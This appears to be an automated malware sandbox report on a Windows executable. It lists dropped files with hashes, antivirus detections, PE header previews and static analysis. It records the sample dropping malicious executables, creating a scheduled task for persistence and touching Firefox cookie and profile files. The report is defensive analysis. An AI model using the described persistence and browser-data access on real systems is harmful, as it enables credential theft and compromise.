SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ograv5qj.msf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olyeronm.eyt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ps1ryfmn.3k5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rai4c4id.12j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjuz31b3.4k2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uejjw532.hws.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wiusatmc.wad.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xig4s40w.k5l.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydg5tkg0.yas.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2gw5ucx.2mm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zhk11q4w.2d2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJKEGIDGDGH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.9510844124633255
Encrypted:	false
SSDEEP:	49152:rD4pAVIEUn78EYltySaV85C1E/K4fvnMPgn/E:r8+VOn4EY6gfK4cP/
MD5:	6D76634E0D5A3748DBB40ED91D91480A
SHA1:	70FA798C82153DB02E218B3A7EFA2F56F051CCED
SHA-256:	D99688821D8644F9E44764BE9944C327ABC3162866E51AD78A02DCDC25A08730
SHA-512:	137B80797C2158247ADB3A7A865B5D0A44CF096B0A6C9377F2E548B5475D811273F0A367AA11DB74538474DF64FE58384F04CE013D9D5395904E68A8EDF9AF9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................@K...........@.................................W...k.......D.....................J.............................L.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...iaxkupqh.....P1.....................@...fnhucfqp......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.00234057762599113
Encrypted:	false
SSDEEP:	768:lWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilJ7xbAOxuz/kQ:/xBxcEJAfPrYSHcW6/CdBuz7
MD5:	9D00DF14EED4230877C1EF0A679A8E70
SHA1:	F874289FCC1BA995D94FF43D115826B18232FAE1
SHA-256:	05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
SHA-512:	017F4987A0C9BCA49A299C6C3DC940AE3C0C2FD4B7DD78D03C3B65AD0B766231D68DC9F8CDE5A9F20186DDF1B642918361D44473D4B313B2E62D00648AD57D36
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v.<g...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Reputation:	unknown
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9911
Entropy (8bit):	5.5272031816374305
Encrypted:	false
SSDEEP:
MD5:	E52F69071A9219DED43DC4D1EA6DA8DA
SHA1:	EE181AB4FF0C35501540A3DCCA89EF43F5E30224
SHA-256:	40124609F176B882DDCE0EE0FB0356A20B626D61FE126E15FAD8D29F506878D8
SHA-512:	9E9E4111A7C0893CF3D96B7756D859402EF198F99926214B5FCC9A7535E71CD88E48456774525B21CB2427147D098221906545E864058B3F8D9BBF94CBF50DCC
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9911
Entropy (8bit):	5.5272031816374305
Encrypted:	false
SSDEEP:
MD5:	E52F69071A9219DED43DC4D1EA6DA8DA
SHA1:	EE181AB4FF0C35501540A3DCCA89EF43F5E30224
SHA-256:	40124609F176B882DDCE0EE0FB0356A20B626D61FE126E15FAD8D29F506878D8
SHA-512:	9E9E4111A7C0893CF3D96B7756D859402EF198F99926214B5FCC9A7535E71CD88E48456774525B21CB2427147D098221906545E864058B3F8D9BBF94CBF50DCC
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\DocumentsJKEGIDGDGH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.9510844124633255
Encrypted:	false
SSDEEP:
MD5:	6D76634E0D5A3748DBB40ED91D91480A
SHA1:	70FA798C82153DB02E218B3A7EFA2F56F051CCED
SHA-256:	D99688821D8644F9E44764BE9944C327ABC3162866E51AD78A02DCDC25A08730
SHA-512:	137B80797C2158247ADB3A7A865B5D0A44CF096B0A6C9377F2E548B5475D811273F0A367AA11DB74538474DF64FE58384F04CE013D9D5395904E68A8EDF9AF9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................@K...........@.................................W...k.......D.....................J.............................L.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...iaxkupqh.....P1.....................@...fnhucfqp......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJKEGIDGDGH.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.416275198227316
Encrypted:	false
SSDEEP:
MD5:	A5C7B32545035BF24A6F6C396311A736
SHA1:	E4855E208A9A2DADE6AFB7949A4947E8283F2059
SHA-256:	F47A576F3B0CE27326037907C9FD005E7FD3B363D71786A22CD485B7449A1225
SHA-512:	99D940B32BD622740126CAF1C3430EA42EB1720B7CCBE8BE5C19BFF40E737BCD12F1FEF16F0DADD8DBC2C3FB464252812455DA851C8D28A8A65FBFF702923629
Malicious:	false
Reputation:	unknown
Preview:	....p.I.\|..@....Z..{F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945404963534243
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'794'560 bytes
MD5:	f5634fe84a0d50da553341dd8b70f55b
SHA1:	ee0ce0583edd4b0093709fb1be3aba975e4f7780
SHA256:	33ec7d97e387a484ca822a25143b5d01ddce8ab813200719537702f0931f9e87
SHA512:	2211675f740494a7f34971a475281608aeccda6615ec5b709711be3b5e079fa6f64608680ff9ee483c1b2e1a8270c3510c2940a5af4a2563ef12c764ef72dc6c
SSDEEP:	24576:hbieeUbLA2ft0FPIE7Mygu+OUo7d6eBuum18ioePTk8dFTPfg2hbDh0QFZB6K:BicbUkEXgX+7d6Dpp4AFTgeRB6
TLSH:	2B8533690CA084E7F72D5B7C50C757012879B5C142DBFAA36E04BB6C493BE83A3D4A9D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F889528A6CAh
cmovo ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	608cc0adef3940dcd22efac022d577b3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	326f53e8abeb2bbf86fcc0af22125b4d	False	0.794921875	data	5.974892182550967	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
